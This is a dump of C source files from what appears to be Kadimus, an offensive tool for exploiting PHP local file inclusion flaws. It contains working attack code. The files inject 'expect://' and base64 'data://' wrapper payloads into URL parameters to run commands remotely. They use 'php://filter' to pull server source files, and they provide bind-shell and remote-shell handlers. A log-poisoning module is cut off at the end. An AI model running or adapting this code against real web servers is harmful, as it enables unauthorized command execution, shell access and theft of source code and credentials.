| -------------------------------------------------------------------------------- /src/net/xconnect.c: -------------------------------------------------------------------------------- 1 | #include "net/xconnect.h" 2 | #include "memory/alloc.h" 3 | #include "output.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | int xconnect(char **ip, const char *target, uint16_t port) 13 | { 14 | struct addrinfo hints, *res; 15 | int errcode, fd; 16 | void *aux; 17 | 18 | memset(&hints, 0, sizeof(hints)); 19 | hints.ai_family = AF_UNSPEC; 20 | hints.ai_socktype = SOCK_STREAM; 21 | hints.ai_flags |= AI_CANONNAME; 22 | 23 | if ((errcode = getaddrinfo(target, NULL, &hints, &res))) { 24 | die("getaddrinfo failed: %s\n", gai_strerror(errcode)); 25 | } 26 | 27 | fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); 28 | if (fd == -1) { 29 | goto end; 30 | } 31 | 32 | if (res->ai_family == AF_INET) { 33 | ((struct sockaddr_in *) res->ai_addr)->sin_port = htons(port); 34 | } else { 35 | ((struct sockaddr_in6 *) res->ai_addr)->sin6_port = htons(port); 36 | } 37 | 38 | if (connect(fd, res->ai_addr, res->ai_addrlen) == -1) { 39 | close(fd); 40 | fd = -1; 41 | goto end; 42 | } 43 | 44 | if (ip) { 45 | xmalloc(*ip, INET6_ADDRSTRLEN); 46 | if (res->ai_family == AF_INET) { 47 | aux = &((struct sockaddr_in *) res->ai_addr)->sin_addr; 48 | } else { 49 | aux = &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr; 50 | } 51 | 52 | inet_ntop(res->ai_family, aux, *ip, INET6_ADDRSTRLEN); 53 | } 54 | 55 | 56 | end: 57 | freeaddrinfo(res); 58 | return fd; 59 | } 60 | -------------------------------------------------------------------------------- /src/string/utils.c: -------------------------------------------------------------------------------- 1 | #include "string/utils.h" 2 | #include "memory/alloc.h" 3 | #include 4 | 5 | char *trim(char **str) 6 | { 7 | char *aux; 8 | int len, i, start, end; 9 | 10 | aux = *str; 11 | len = strlen(aux); 12 | 13 | if (!len) goto end; 14 | 15 | for (i = 0; i < len; i++) { 16 | if (aux[i] != ' ' && aux[i] != '\t' && aux[i] != '\n') { 17 | break; 18 | } 19 | } 20 | start = i; 21 | 22 | for (i = len - 1; i >= 0; i--) { 23 | if (aux[i] != ' ' && aux[i] != '\t' && aux[i] != '\n') { 24 | break; 25 | } 26 | } 27 | end = i + 1; 28 | 29 | // the string has only space chars 30 | if (end < start) { 31 | aux = xstrdup(""); 32 | free(*str); 33 | *str = aux; 34 | goto end; 35 | } 36 | 37 | aux = xstrdupn(aux + start, end - start); 38 | free(*str); 39 | *str = aux; 40 | 41 | end: 42 | return *str; 43 | } 44 | 45 | char *xstrdupn(const char *str, size_t n) 46 | { 47 | char *string; 48 | 49 | xmalloc(string, n + 1); 50 | memcpy(string, str, n); 51 | string[n] = 0x0; 52 | 53 | return string; 54 | } 55 | 56 | char *xstrdup(const char *string) 57 | { 58 | size_t len = strlen(string); 59 | return xstrdupn(string, len); 60 | } 61 | 62 | char *randomstr(char *buf, int len) 63 | { 64 | static const char alphanum[] = 65 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 66 | "abcdefghijklmnopqrstuvwxyz" 67 | "0123456789"; 68 | 69 | int i; 70 | 71 | for (i = 0; i < len - 1; i++) { 72 | buf[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; 73 | } 74 | 75 | buf[i] = 0x0; 76 | 77 | return buf; 78 | } 79 | -------------------------------------------------------------------------------- /src/io/utils.c: -------------------------------------------------------------------------------- 1 | #include "io/utils.h" 2 | #include "output.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | FILE *xfopen(const char *file, const char *mode) 11 | { 12 | FILE *fh; 13 | 14 | if ((fh = fopen(file, mode)) == NULL) { 15 | xdie("fopen(%s, \"%s\") failed, errno = %d\n", file, mode, errno); 16 | } 17 | 18 | return fh; 19 | } 20 | 21 | FILE *randomfile(char *filename, int retry) 22 | { 23 | int i, fd; 24 | 25 | strcpy(filename, "/tmp/kadimus-XXXXXX"); 26 | 27 | for (i = 0; i <= retry; i++) { 28 | if ((fd = mkstemp(filename)) != -1) { 29 | return fdopen(fd, "w"); 30 | } 31 | } 32 | 33 | return NULL; 34 | } 35 | 36 | 37 | off_t getfdsize(int fd) 38 | { 39 | struct stat s; 40 | 41 | if (fstat(fd, &s) == -1) { 42 | xdie("fstat() failed\n"); 43 | } 44 | 45 | return s.st_size; 46 | } 47 | 48 | int openro(const char *name) 49 | { 50 | int fd; 51 | 52 | if ((fd = open(name, O_RDONLY)) == -1) { 53 | xdie("open() failed\n"); 54 | } 55 | 56 | return fd; 57 | } 58 | 59 | void ioredirect(struct pollfd pfd[2]) 60 | { 61 | char buf[1024]; 62 | ssize_t n; 63 | 64 | int i, success = 1; 65 | 66 | while (success) { 67 | if (poll(pfd, 2, -1) == -1) 68 | break; 69 | 70 | for (i = 0; i < 2; i++) { 71 | if (pfd[i].revents & POLLIN) { 72 | n = read(pfd[i].fd, buf, sizeof(buf)); 73 | if (n <= 0) { 74 | success = 0; 75 | break; 76 | } 77 | 78 | write(pfd[(i + 1) % 2].fd, buf, n); 79 | } 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /src/techniques/expect.c: -------------------------------------------------------------------------------- 1 | #include "techniques/expect.h" 2 | #include "request/request.h" 3 | #include "string/urlencode.h" 4 | #include "string/concat.h" 5 | #include "string/utils.h" 6 | #include "string/url.h" 7 | #include "regex/pcre.h" 8 | 9 | #include 10 | 11 | char *expect_url(url_t *url, const char *cmd, int pos) 12 | { 13 | char mark[8], **matches, *ret = NULL; 14 | 15 | request_t req; 16 | int len = 0; 17 | 18 | randomstr(mark, sizeof(mark)); 19 | 20 | char *payload = concatl("expect://echo -n ", mark, ";", cmd, ";echo ", mark, NULL); 21 | char *regex = concatl(mark, "(.*)", mark, NULL); 22 | char *escape = urlencode(payload); 23 | char *target = buildurl(url, string_replace, escape, pos); 24 | free(escape); 25 | free(payload); 26 | 27 | request_init(&req); 28 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 29 | free(target); 30 | 31 | if (request_exec(&req)) { 32 | goto end; 33 | } 34 | 35 | matches = regex_extract(&len, regex, req.body.ptr, req.body.len, PCRE_DOTALL); 36 | free(regex); 37 | 38 | if (len > 0) { 39 | ret = xstrdup(matches[0]); 40 | regex_free(matches, len); 41 | } 42 | 43 | end: 44 | request_free(&req); 45 | return ret; 46 | } 47 | 48 | char *expect_rce(const char *target, const char *parameter, const char *cmd) 49 | { 50 | url_t url; 51 | char *rce = NULL; 52 | 53 | urlparser(&url, target); 54 | 55 | if (url.parameters) { 56 | for (int i = 0; i < url.plen; i++) { 57 | if (!strcmp(url.parameters[i].key, parameter)) { 58 | rce = expect_url(&url, cmd, i); 59 | break; 60 | } 61 | } 62 | } 63 | 64 | urlfree(&url); 65 | 66 | 67 | return rce; 68 | } 69 | -------------------------------------------------------------------------------- /src/regex/pcre.c: -------------------------------------------------------------------------------- 1 | #include "regex/pcre.h" 2 | #include "string/utils.h" 3 | #include "memory/alloc.h" 4 | 5 | pcre *xpcre_compile(const char *pattern, int options) 6 | { 7 | const char *errptr; 8 | int offset; 9 | 10 | pcre *re = pcre_compile(pattern, options, &errptr, &offset, NULL); 11 | 12 | if (!re) { 13 | die("%s\n", errptr); 14 | } 15 | 16 | return re; 17 | } 18 | 19 | char **regex_extract(int *len, const char *regex, const char *data, int size, int opts) 20 | { 21 | int vet[30], start, end, res, pos, i, rc; 22 | 23 | char **matches; 24 | 25 | pcre *re; 26 | 27 | re = xpcre_compile(regex, opts); 28 | 29 | rc = pcre_exec(re, NULL, data, size, 0, 0, vet, sizeof(vet) / sizeof(int)); 30 | if (rc <= 0) { 31 | pcre_free(re); 32 | return NULL; 33 | } 34 | 35 | xmalloc(matches, rc * sizeof(char *)); 36 | *len = rc - 1; 37 | pos = 0; 38 | 39 | for (i = 1; i < rc; i++) { 40 | start = vet[i * 2]; 41 | end = vet[i * 2 + 1]; 42 | 43 | res = end - start; 44 | 45 | matches[pos++] = xstrdupn(data + start, res); 46 | } 47 | 48 | pcre_free(re); 49 | return matches; 50 | } 51 | 52 | int regex_match(const char *regex, const char *data, int len, int opts) 53 | { 54 | int rc, vet[3]; 55 | pcre *re; 56 | 57 | if (!len) { 58 | len = strlen(data); 59 | } 60 | 61 | re = xpcre_compile(regex, opts); 62 | rc = pcre_exec(re, NULL, data, len, 0, 0, vet, 3); 63 | pcre_free(re); 64 | 65 | return (rc >= 0); 66 | } 67 | 68 | int regex_matchv2(pcre *re, const char *data, int length, int opts) 69 | { 70 | return (pcre_exec(re, NULL, data, length, 0, opts, NULL, 0) < 0); 71 | } 72 | 73 | void regex_free(char **match, int len) 74 | { 75 | int i; 76 | for (i = 0; i < len; i++) { 77 | free(match[i]); 78 | } 79 | 80 | free(match); 81 | } 82 | -------------------------------------------------------------------------------- /src/techniques/datawrap.c: -------------------------------------------------------------------------------- 1 | #include "techniques/datawrap.h" 2 | #include "request/request.h" 3 | #include "string/concat.h" 4 | #include "string/utils.h" 5 | #include "string/base64.h" 6 | #include "string/urlencode.h" 7 | #include "regex/pcre.h" 8 | #include "output.h" 9 | 10 | char *datawrap_rce(url_t *url, const char *code, int pos) 11 | { 12 | char *b64, *b64quoted, *wrap, *target, *ret = NULL, 13 | *regex, *aux, mark[8], **matches; 14 | 15 | request_t req; 16 | int len = 0; 17 | 18 | randomstr(mark, sizeof(mark)); 19 | 20 | aux = concatl(mark, code, mark, NULL); 21 | regex = concatl(mark, "(.*)", mark, NULL); 22 | 23 | b64 = b64encode(aux, strlen(aux)); 24 | b64quoted = urlencode(b64); 25 | free(b64); 26 | free(aux); 27 | 28 | wrap = concatl("data://text/plain;base64,", b64quoted, NULL); 29 | target = buildurl(url, string_replace, wrap, pos); 30 | free(wrap); 31 | free(b64quoted); 32 | 33 | request_init(&req); 34 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 35 | free(target); 36 | 37 | if (request_exec(&req)) { 38 | goto end; 39 | } 40 | 41 | matches = regex_extract(&len, regex, req.body.ptr, req.body.len, PCRE_DOTALL); 42 | free(regex); 43 | 44 | if (len > 0) { 45 | ret = xstrdup(matches[0]); 46 | regex_free(matches, len); 47 | } 48 | 49 | end: 50 | request_free(&req); 51 | return ret; 52 | } 53 | 54 | char *data_wrap_rce(const char *target, const char *parameter, const char *code) 55 | { 56 | url_t url; 57 | char *rce = NULL; 58 | 59 | urlparser(&url, target); 60 | 61 | if (url.parameters) { 62 | for (int i = 0; i < url.plen; i++) { 63 | if (!strcmp(url.parameters[i].key, parameter)) { 64 | rce = datawrap_rce(&url, code, i); 65 | break; 66 | } 67 | } 68 | } 69 | 70 | urlfree(&url); 71 | return rce; 72 | } 73 | -------------------------------------------------------------------------------- /src/output.h: -------------------------------------------------------------------------------- 1 | #ifndef __OUTPUT_H__ 2 | #define __OUTPUT_H__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define eprint(x...) fprintf(stderr, x); 10 | 11 | #define print_all(x...) do { \ 12 | fprintf(stdout, x); \ 13 | if (output) \ 14 | fprintf(output, x); \ 15 | } while (0); 16 | 17 | #define print_thread(x...) do { \ 18 | if (thread_enable) \ 19 | print_all(x) \ 20 | } while (0) 21 | 22 | #define xdie(fmt, args...) do { \ 23 | eprint("[%s:%s:%d] " fmt, __FILE__, __FUNCTION__, __LINE__, ##args); \ 24 | exit(1); \ 25 | } while (0) 26 | 27 | #define die(args...) do { \ 28 | eprint(args); \ 29 | exit(1); \ 30 | } while (0) 31 | 32 | #define msg(color, type, fmt, args...) do { \ 33 | struct tm *now; \ 34 | time_t t = time(NULL); \ 35 | now = localtime(&t); \ 36 | printf(color "[%02d:%02d:%02d] [" type "] " fmt "\033[0m", \ 37 | now->tm_hour, now->tm_min, now->tm_sec, ##args); \ 38 | if (output) { \ 39 | fprintf(output, "[%02d:%02d:%02d] [" type "] " fmt, \ 40 | now->tm_hour, now->tm_min, now->tm_sec, ##args); \ 41 | } \ 42 | } while (0) 43 | 44 | #define xmsg(color, type, fmt, args...) do { \ 45 | if (!thread_enable) \ 46 | msg(color, type, fmt, ##args); \ 47 | } while (0) 48 | 49 | #define error(fmt, args...) msg("\033[0;31m", "ERROR", fmt, ##args) 50 | #define info(fmt, args...) msg("\033[0;32m", "INFO", fmt, ##args) 51 | #define warn(fmt, args...) msg("\033[0;33m", "WARNING", fmt, ##args) 52 | #define good(fmt, args...) msg("\033[1;32m", "INFO", fmt, ##args) 53 | 54 | #define xerror(fmt, args...) xmsg("\033[0;31m", "ERROR", fmt, ##args) 55 | #define xinfo(fmt, args...) xmsg("\033[0;32m", "INFO", fmt, ##args) 56 | #define xwarn(fmt, args...) xmsg("\033[0;33m", "WARNING", fmt, ##args) 57 | #define xgood(fmt, args...) xmsg("\033[1;32m", "INFO", fmt, ##args) 58 | 59 | 60 | // globals 61 | extern FILE *output; 62 | extern int thread_enable; 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /src/techniques/php-filter.c: -------------------------------------------------------------------------------- 1 | #include "techniques/php-filter.h" 2 | #include "request/request.h" 3 | #include "string/concat.h" 4 | #include "string/diff.h" 5 | #include "string/utils.h" 6 | #include "string/url.h" 7 | #include "string/base64.h" 8 | #include "output.h" 9 | 10 | #include 11 | 12 | char *phpfilter(url_t *url, const char *oldurl, const char *filename, int pnumber) 13 | { 14 | request_t req1, req2; 15 | char *filter, *newurl, *b64 = NULL; 16 | 17 | request_init(&req1); 18 | request_init(&req2); 19 | 20 | filter = concatl("php://filter/convert.base64-encode/resource=", filename, NULL); 21 | newurl = buildurl(url, string_replace, filter, pnumber); 22 | free(filter); 23 | 24 | curl_easy_setopt(req1.ch, CURLOPT_URL, oldurl); 25 | curl_easy_setopt(req2.ch, CURLOPT_URL, newurl); 26 | 27 | if (request_exec(&req1) || request_exec(&req2)) 28 | goto end; 29 | 30 | b64 = diff(req1.body.ptr, req2.body.ptr); 31 | if (b64) 32 | trim(&b64); 33 | 34 | end: 35 | free(newurl); 36 | request_free(&req1); 37 | request_free(&req2); 38 | 39 | return b64; 40 | } 41 | 42 | void phpfilter_dumpfile(FILE *out, const char *target, const char *filename, const char *pname) 43 | { 44 | char *b64, *decoded; 45 | url_t url; 46 | 47 | int i, pos = -1; 48 | size_t len; 49 | 50 | urlparser(&url, target); 51 | for (i = 0; i < url.plen; i++) { 52 | if (!strcmp(url.parameters[i].key, pname)) { 53 | pos = i; 54 | break; 55 | } 56 | } 57 | 58 | if (pos == -1) { 59 | xerror("parameter %s not found!\n", pname); 60 | goto end; 61 | } 62 | 63 | xinfo("trying get source code of file: %s\n", filename); 64 | 65 | if ((b64 = phpfilter(&url, target, filename, pos)) == NULL) { 66 | goto end; 67 | } 68 | 69 | if ((decoded = b64decode(b64, &len))) { 70 | xgood("valid base64 returned\n"); 71 | 72 | if (out) { 73 | fwrite(decoded, len, 1, out); 74 | fclose(out); 75 | xgood("check the output file\n"); 76 | } else { 77 | fwrite(decoded, len, 1, stdout); 78 | } 79 | 80 | printf("\n"); 81 | free(decoded); 82 | } else { 83 | xerror("invalid base64 detected\n"); 84 | xinfo("try using null byte poisoning, or set filename without extension\n"); 85 | } 86 | 87 | free(b64); 88 | 89 | end: 90 | urlfree(&url); 91 | } 92 | -------------------------------------------------------------------------------- /src/net/utils.c: -------------------------------------------------------------------------------- 1 | #include "net/utils.h" 2 | #include "net/xconnect.h" 3 | #include "net/listen.h" 4 | #include "io/utils.h" 5 | #include "output.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int listen_timeout = 120; 16 | 17 | int checkhostname(const char *hostname) 18 | { 19 | struct addrinfo *res, hints; 20 | 21 | memset(&hints, 0, sizeof hints); 22 | hints.ai_family = AF_UNSPEC; 23 | hints.ai_socktype = SOCK_STREAM; 24 | hints.ai_flags |= AI_CANONNAME; 25 | 26 | if (getaddrinfo(hostname, NULL, &hints, &res)) { 27 | return 1; 28 | } 29 | 30 | freeaddrinfo(res); 31 | return 0; 32 | } 33 | 34 | void bindshell(uint16_t port) 35 | { 36 | struct pollfd pfd[2]; 37 | struct sockaddr_in addr; 38 | 39 | char ipstr[INET_ADDRSTRLEN]; 40 | int fd, cli; 41 | pid_t pid; 42 | 43 | socklen_t slen = sizeof(struct sockaddr_in); 44 | fd = start_listen(port); 45 | 46 | pfd[0].fd = fd; 47 | pfd[0].events = POLLIN; 48 | 49 | pid = getpid(); 50 | info("[pid: %d] listen on port: %d\n", pid, port); 51 | info("[pid: %d] waiting connection...\n", pid); 52 | 53 | switch (poll(pfd, 1, listen_timeout * 1000)) { 54 | case 0: 55 | error("[pid: %d] connection timeout %d !!!\n", pid, listen_timeout); 56 | exit(1); 57 | case -1: 58 | xdie("poll() failed\n"); 59 | } 60 | 61 | if ((cli = accept(fd, (struct sockaddr *)&addr, &slen)) == -1) { 62 | xdie("accpet() failed\n"); 63 | } 64 | 65 | inet_ntop(AF_INET, &addr.sin_addr, ipstr, INET_ADDRSTRLEN); 66 | 67 | good("[pid: %d] new connection from: %s\n", pid, ipstr); 68 | 69 | pfd[0].fd = cli; 70 | 71 | pfd[1].fd = 0; 72 | pfd[1].events = POLLIN; 73 | 74 | ioredirect(pfd); 75 | 76 | close(cli); 77 | close(fd); 78 | 79 | exit(0); 80 | } 81 | 82 | void remote_connect(const char *proxy, const char *target, uint16_t port) 83 | { 84 | struct pollfd pfd[2]; 85 | char *ip; 86 | int fd; 87 | 88 | if (proxy) { 89 | error("proxy support temporarily unavailable\n"); 90 | return; 91 | } 92 | 93 | info("trying connect to %s:%d\n", target, port); 94 | if ((fd = xconnect(&ip, target, port)) == -1) { 95 | xdie("xconnect() failed\n"); 96 | } 97 | 98 | good("connected in %s on port %d\n", ip, port); 99 | 100 | pfd[0].fd = fd; 101 | pfd[0].events = POLLIN; 102 | pfd[1].fd = 0; 103 | pfd[1].events = POLLIN; 104 | 105 | ioredirect(pfd); 106 | } 107 | -------------------------------------------------------------------------------- /src/request/request.c: -------------------------------------------------------------------------------- 1 | #include "request/request.h" 2 | #include "memory/alloc.h" 3 | #include "globals.h" 4 | #include "output.h" 5 | 6 | #include 7 | 8 | size_t cbwrite(char *data, size_t size, size_t nmemb, body_t *body); 9 | 10 | void request_init(request_t *request) 11 | { 12 | CURL *curl; 13 | 14 | memset(request, 0x0, sizeof(request_t)); 15 | 16 | curl = request->ch = curl_easy_init(); 17 | if (!curl) 18 | die("curl_easy_init() error\n"); 19 | 20 | curl_easy_setopt(curl, CURLOPT_USERAGENT, global.useragent); 21 | curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L); 22 | curl_easy_setopt(curl, CURLOPT_TIMEOUT, global.timeout); 23 | curl_easy_setopt(curl, CURLOPT_PROXY, global.proxy); 24 | curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); 25 | curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); 26 | curl_easy_setopt(curl, CURLOPT_COOKIE, global.cookies); 27 | curl_easy_setopt(curl, CURLOPT_WRITEDATA, &(request->body)); 28 | curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, cbwrite); 29 | 30 | xmalloc(request->body.ptr, 1); 31 | } 32 | 33 | void request_init_fh(request_t *request) 34 | { 35 | CURL *curl; 36 | 37 | memset(request, 0x0, sizeof(request_t)); 38 | 39 | curl = request->ch = curl_easy_init(); 40 | if (!curl) 41 | die("curl_easy_init() error\n"); 42 | 43 | curl_easy_setopt(curl, CURLOPT_USERAGENT, global.useragent); 44 | curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L); 45 | curl_easy_setopt(curl, CURLOPT_TIMEOUT, global.timeout); 46 | curl_easy_setopt(curl, CURLOPT_PROXY, global.proxy); 47 | curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); 48 | curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); 49 | curl_easy_setopt(curl, CURLOPT_COOKIE, global.cookies); 50 | 51 | } 52 | 53 | int request_exec(request_t *request) 54 | { 55 | CURLcode res; 56 | 57 | for (size_t i = 0; i <= global.retry; i++) { 58 | res = curl_easy_perform(request->ch); 59 | 60 | if (res != CURLE_OK) { 61 | xerror("request failed: %s\n", curl_easy_strerror(res)); 62 | continue; 63 | } 64 | 65 | if (request->body.ptr) 66 | request->body.ptr[request->body.len] = 0x0; 67 | 68 | return 0; 69 | } 70 | 71 | return 1; 72 | } 73 | 74 | void request_free(request_t *request) 75 | { 76 | curl_easy_cleanup(request->ch); 77 | free(request->body.ptr); 78 | } 79 | 80 | size_t cbwrite(char *data, size_t size, size_t nmemb, body_t *body) 81 | { 82 | size_t newsize = body->len + size * nmemb; 83 | 84 | xrealloc(body->ptr, body->ptr, newsize + 1); 85 | memcpy(body->ptr + body->len, data, size * nmemb); 86 | body->len = newsize; 87 | 88 | return size * nmemb; 89 | } 90 | -------------------------------------------------------------------------------- /src/string/optparser.c: -------------------------------------------------------------------------------- 1 | #include "optparser.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | void optparser(int argc, char **argv, optparser_t *opts, int len) 10 | { 11 | struct option *options; 12 | char *shortopts; 13 | int opt_index = 0; 14 | 15 | // alloc memory using just one malloc call 16 | // (len * 2 + 1) -> len is the max number of short opts possible 17 | // multiplied by two for include ':', and +1 for null byte 18 | // (len + 1) because getopt_long need an empty struct 19 | shortopts = malloc((len * 2 + 1) + sizeof(struct option) * (len + 1)); 20 | options = (struct option *)(shortopts + len * 2 + 1); 21 | 22 | char ***remain = NULL; 23 | 24 | char *shortaux = shortopts; 25 | struct option *optaux = options; 26 | 27 | for (int i = 0; i < len ; i++) { 28 | if (opts[i].name && !strcmp("*", opts[i].name)) { 29 | remain = opts[i].var; 30 | continue; 31 | } 32 | 33 | if (!opts[i].name) 34 | goto setshortopt; 35 | 36 | optaux->name = opts[i].name; 37 | optaux->has_arg = (opts[i].argtype != optnoarg && opts[i].argtype != optbool); 38 | 39 | if (opts[i].argtype == optnoarg) 40 | optaux->flag = opts[i].var; 41 | else 42 | optaux->flag = NULL; 43 | 44 | optaux->val = opts[i].shortopt; 45 | optaux++; 46 | 47 | setshortopt: 48 | if (isalpha(opts[i].shortopt) || isdigit(opts[i].shortopt)) { 49 | *shortaux++ = opts[i].shortopt; 50 | 51 | if (opts[i].argtype != optnoarg && opts[i].argtype != optbool) 52 | *shortaux++ = ':'; 53 | } 54 | } 55 | 56 | memset(optaux, 0x0, sizeof(struct option)); 57 | *shortaux = 0x0; 58 | 59 | int opt; 60 | 61 | while ((opt = getopt_long(argc, argv, shortopts, options, &opt_index)) != -1) { 62 | optparser_t *current_opt = NULL; 63 | 64 | for (int i = 0; i < len; i++) { 65 | if (!opt) { 66 | if (!strcmp(opts[i].name, options[opt_index].name)) { 67 | current_opt = opts + i; 68 | break; 69 | } 70 | } else if (opt == opts[i].shortopt) { 71 | current_opt = opts + i; 72 | break; 73 | } 74 | } 75 | 76 | if (!current_opt) 77 | exit(EXIT_FAILURE); 78 | 79 | if (current_opt->var && (optarg || current_opt->argtype == optbool)) { 80 | switch (current_opt->argtype) { 81 | case optstring: 82 | *(char **) current_opt->var = optarg; 83 | break; 84 | case optint: 85 | *(int *) current_opt->var = atoi(optarg); 86 | break; 87 | case optlong: 88 | *(long *) current_opt->var = strtol(optarg, NULL, 10); 89 | break; 90 | case optbool: 91 | *(int *) current_opt->var = 1; 92 | } 93 | } 94 | 95 | if (current_opt->optcb) 96 | current_opt->optcb(current_opt->var, optarg); 97 | } 98 | 99 | if (remain) 100 | *remain = argv + optind; 101 | 102 | free(shortopts); 103 | } 104 | -------------------------------------------------------------------------------- /src/string/base64.c: -------------------------------------------------------------------------------- 1 | #include "base64.h" 2 | #include 3 | #include 4 | 5 | #define b64pos(ch) (strchr(b64, ch)-b64) 6 | 7 | static const char b64[] = 8 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 9 | "abcdefghijklmnopqrstuvwxyz" 10 | "0123456789+/"; 11 | 12 | char *b64encode(const char *data, size_t len) 13 | { 14 | char ch[3], *ret = NULL; 15 | size_t i, j, pad; 16 | 17 | if (!len) 18 | goto end; 19 | 20 | ret = malloc(((len + 2) / 3) * 4 + 1); 21 | if (ret == NULL) 22 | goto end; 23 | 24 | i = j = 0; 25 | 26 | while (i < len) { 27 | ch[1] = ch[2] = 0; 28 | ch[0] = data[i++]; 29 | 30 | if (i < len) { 31 | ch[1] = data[i++]; 32 | if (i < len) { 33 | ch[2] = data[i++]; 34 | } 35 | } 36 | 37 | ret[j++] = b64[ch[0] >> 2]; 38 | ret[j++] = b64[(ch[0] & 3) << 4 | ch[1] >> 4]; 39 | ret[j++] = b64[(ch[1] & 0xf) << 2 | ch[2] >> 6]; 40 | ret[j++] = b64[ch[2] & 0x3f]; 41 | } 42 | 43 | pad = len%3; 44 | 45 | if (pad) { 46 | ret[j - 1] = '='; 47 | 48 | if (pad == 1) { 49 | ret[j - 2] = '='; 50 | } 51 | } 52 | 53 | ret[j] = 0x0; 54 | 55 | end: 56 | return ret; 57 | } 58 | 59 | char *b64decode(const char *encoded, size_t *len) 60 | { 61 | size_t i, pos, strsize; 62 | char *ret; 63 | 64 | strsize = strlen(encoded); 65 | 66 | if (!isb64valid(encoded, strsize)) { 67 | return NULL; 68 | } 69 | 70 | ret = malloc((strsize * 0.75) + 1); 71 | 72 | if (ret == NULL) { 73 | return NULL; 74 | } 75 | 76 | i = pos = 0; 77 | 78 | while (i < strsize) { 79 | ret[pos++] = b64pos(encoded[i]) << 2 | b64pos(encoded[i + 1]) >> 4; 80 | 81 | if (encoded[i + 2] == '=') 82 | break; 83 | 84 | ret[pos++] = b64pos(encoded[i + 1]) << 4 | b64pos(encoded[i + 2]) >> 2; 85 | 86 | if (encoded[i + 3] == '=') 87 | break; 88 | 89 | ret[pos++] = b64pos(encoded[i + 2]) << 6 | b64pos(encoded[i + 3]); 90 | 91 | i += 4; 92 | } 93 | 94 | ret[pos] = 0x0; 95 | *len = pos; 96 | 97 | return ret; 98 | } 99 | 100 | int isb64valid(const char *encoded, size_t length) 101 | { 102 | size_t i; 103 | int ret = 0; 104 | int pos; 105 | 106 | if (!length || length%4) 107 | goto end; 108 | 109 | for (i=0; ibase = xstrdupn(string, aux - string + 1); 21 | } else { 22 | url->base = xstrdup(string); 23 | return; 24 | } 25 | 26 | key = xstrdup(aux + 1); 27 | 28 | do { 29 | xrealloc(url->parameters, url->parameters, 30 | (url->plen + 1) * sizeof(parameter_t)); 31 | parameter = url->parameters + url->plen; 32 | 33 | nextkey = strchr(key, '&'); 34 | if (nextkey) { 35 | nextkey[0] = 0x0; 36 | nextkey++; 37 | } 38 | 39 | value = strchr(key, '='); 40 | if (value) { 41 | value[0] = 0x0; 42 | value++; 43 | } 44 | 45 | parameter->key = key; 46 | parameter->value = value; 47 | parameter->keysize = strlen(key); 48 | parameter->valuesize = (value ? strlen(value) : 0); 49 | 50 | url->plen++; 51 | } while ((key = nextkey)); 52 | } 53 | 54 | void urlfree(url_t *url) 55 | { 56 | free(url->base); 57 | if (url->parameters) { 58 | free(url->parameters->key); 59 | free(url->parameters); 60 | } 61 | } 62 | 63 | char *buildurl(url_t *url, int action, const char *newstr, int pos) 64 | { 65 | parameter_t *parameter; 66 | char *ret; 67 | 68 | size_t len, j, nsize, basesize; 69 | int i; 70 | 71 | if (!url->plen) { 72 | return xstrdup(url->base); 73 | } 74 | 75 | nsize = strlen(newstr); 76 | basesize = strlen(url->base); 77 | len = 0; 78 | 79 | // calculate new string length 80 | for (i = 0; i < url->plen; i++) { 81 | parameter = url->parameters + i; 82 | 83 | len += parameter->keysize; 84 | if (pos == i) { 85 | // +1 for equal signal 86 | len += 1; 87 | len += nsize; 88 | 89 | if (action == string_replace) { 90 | continue; 91 | } 92 | } else { 93 | // +1 for equal signal 94 | if (parameter->value) { 95 | len += 1; 96 | } 97 | } 98 | 99 | if (parameter->value) { 100 | // +1 for equal signal 101 | len += parameter->valuesize; 102 | } 103 | } 104 | 105 | // len for '&' signal 106 | len += url->plen - 1; 107 | len += strlen(url->base); 108 | 109 | // write the new string 110 | xmalloc(ret, len + 1); 111 | 112 | memcpy(ret, url->base, basesize); 113 | j = basesize; 114 | 115 | for (i = 0; i < url->plen; i++) { 116 | parameter = url->parameters + i; 117 | 118 | copyvalue(ret, j, parameter->key, parameter->keysize); 119 | 120 | if (pos == i) { 121 | ret[j++] = '='; 122 | 123 | switch (action) { 124 | case string_replace: 125 | copyvalue(ret, j, newstr, nsize); 126 | break; 127 | case string_append: 128 | copyvalue(ret, j, parameter->value, parameter->valuesize); 129 | copyvalue(ret, j, newstr, nsize); 130 | break; 131 | case string_prepend: 132 | copyvalue(ret, j, newstr, nsize); 133 | copyvalue(ret, j, parameter->value, parameter->valuesize); 134 | break; 135 | } 136 | } 137 | 138 | else if (parameter->value) { 139 | ret[j++] = '='; 140 | copyvalue(ret, j, parameter->value, parameter->valuesize); 141 | } 142 | 143 | if ((i + 1) != url->plen) { 144 | ret[j++] = '&'; 145 | } 146 | } 147 | 148 | ret[j] = 0x0; 149 | return ret; 150 | } 151 | -------------------------------------------------------------------------------- /src/techniques/auth-log-poison.c: -------------------------------------------------------------------------------- 1 | #include "techniques/auth-log-poison.h" 2 | #include "request/request.h" 3 | #include "string/utils.h" 4 | #include "string/concat.h" 5 | #include "string/base64.h" 6 | #include "string/urlencode.h" 7 | #include "io/utils.h" 8 | #include "regex/pcre.h" 9 | #include "output.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | int auth_log_poison(const char *target, int port) 16 | { 17 | 